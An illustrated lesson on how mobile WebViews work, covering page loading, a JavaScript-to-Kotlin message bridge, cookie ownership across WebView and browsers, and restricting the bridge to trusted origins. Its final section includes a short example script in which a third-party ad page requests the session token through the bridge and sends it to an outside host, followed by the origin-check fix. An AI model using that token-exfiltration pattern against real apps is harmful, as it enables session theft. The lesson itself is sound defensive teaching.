Belajar
← All lessons

How a WebView works

native, drawn by the appweb, drawn by the WebView

Load a page inside an app

App
WebView
shop.test

ShopActivity.kt

class ShopActivity : AppCompatActivity() {  override fun onCreate(state: Bundle?) {    super.onCreate(state)    // native views: the title bar and the Checkout button    setContentView(R.layout.shop)    title = "Shop"     // a WebView fills the middle of that layout    val web = findViewById<WebView>(R.id.web)    web.settings.javaScriptEnabled = true    web.loadUrl("https://shop.test/cart")  }}

cart.html

<!-- shop.test/cart, drawn by the WebView --><h1>Your cart</h1><ul>  <li>Coffee beans <b>$14</b></li>  <li>Paper filters <b>$4</b></li></ul><script src="/cart.js"></script>

The bridge passes strings between page and app

Web page
Bridge
Kotlin

cart.js

// send and forgetsendButton.onclick = () => {  const msg = { type: "toast", text: input.value };  bridge.postMessage(JSON.stringify(msg));}; // ask, then wait for the replylet nextId = 0;const waiting = new Map();function askNative(type) {  const id = ++nextId;  bridge.postMessage(JSON.stringify({ type, id }));  return new Promise((done) => waiting.set(id, done));}window.onNative = (id, value) => waiting.get(id)(value); const level = await askNative("battery");label.textContent = `Battery: ${level}%`;

Bridge.kt

class Bridge(val web: WebView, val ctx: Context) {  @JavascriptInterface  fun postMessage(json: String) {    val msg = JSONObject(json)    when (msg.getString("type")) {      "toast" -> Toast.makeText(ctx, msg.getString("text"), LENGTH_SHORT).show()      "battery" -> {        val id = msg.getInt("id")        val level = batteryManager.getIntProperty(BATTERY_PROPERTY_CAPACITY)        web.post { web.evaluateJavascript("onNative($id, $level)", null) }      }    }  }} // window.bridge now exists inside the pageweb.addJavascriptInterface(Bridge(web, this), "bridge")

WebView or browser decides who owns the page

Open the sign-in page inWebViewIn-app browserBrowser app
QuestionWebViewIn-appBrowser
Stays inside your appYesYesNo
Shows the address barNoYesYes
App can run JS in the pageYesNoNo
App can read its cookiesYesNoNo

A WebView keeps its own cookies, so the visitor starts signed out of everything

Open.kt

// WebView: your app runs the pageweb.loadUrl(url)web.evaluateJavascript("document.cookie") { log(it) } // In-app browser: the browser runs it, inside your appCustomTabsIntent.Builder().build().launchUrl(this, uri) // System browser: hand the link to another appstartActivity(Intent(Intent.ACTION_VIEW, uri))

Lock the bridge to the pages you trust

shop.test
WebView
Swift

ad.js

// ads.test, now loaded in the same WebViewconst token = await window.webkit.messageHandlers  .bridge.postMessage({ type: "token" });fetch("https://ads.test/collect?t=" + token);

Bridge.swift

class Bridge: NSObject, WKScriptMessageHandlerWithReply {  let allowed: Set<String> = ["shop.test"]   func userContentController(_ c: WKUserContentController,      didReceive message: WKScriptMessage,      replyHandler: @escaping (Any?, String?) -> Void) {    // the fix: ask which page sent the message    let host = message.frameInfo.securityOrigin.host    guard allowed.contains(host) else {      return replyHandler(nil, "not allowed")    }    replyHandler(session.token, nil)  }}

Topics

Next: How the kernel works

Open lesson